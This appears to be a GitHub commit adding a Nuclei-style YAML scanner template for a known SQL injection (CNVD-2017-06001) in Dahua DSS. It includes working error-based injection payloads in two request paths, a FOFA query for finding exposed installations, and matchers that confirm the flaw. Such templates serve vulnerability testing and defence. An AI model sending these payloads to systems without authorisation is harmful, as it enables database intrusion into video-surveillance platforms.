Create CNVD-2017-06001.yaml

patch-2
Ritik Chaddha 2024-05-14 09:56:02 +05:30 committed by GitHub
parent 998d0371c8
commit 5c52990210
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: CNVD-2017-06001
info:
name: Dahua DSS - SQL Injection
severity: high
author: napgh0st,ritikchaddha
reference:
- https://www.cnvd.org.cn/flaw/show/CNVD-2017-06001
metadata:
max-request: 1
verified: true
fofa-query: app="dahua-DSS"
tags: cnvd,cnvd2017,sqli,dahua
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/portal/attachment_clearTempFile.action?bean.RecId=1') AND EXTRACTVALUE(534543,CONCAT(0x5c,md5({{num}}),0x5c)) AND ('n72Yk'='n72Yk&bean.TabName=1"
- "{{BaseURL}}/portal/attachment_getAttList.action?bean.RecId=1') AND EXTRACTVALUE(534543,CONCAT(0x5c,md5({{num}}),0x5c)) AND ('n72Yk'='n72Yk&bean.TabName=1"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "XPATH syntax error:"
- "c8c605999f3d8352d7bb792cf3fdb25"
condition: and
- type: status
status:
- 200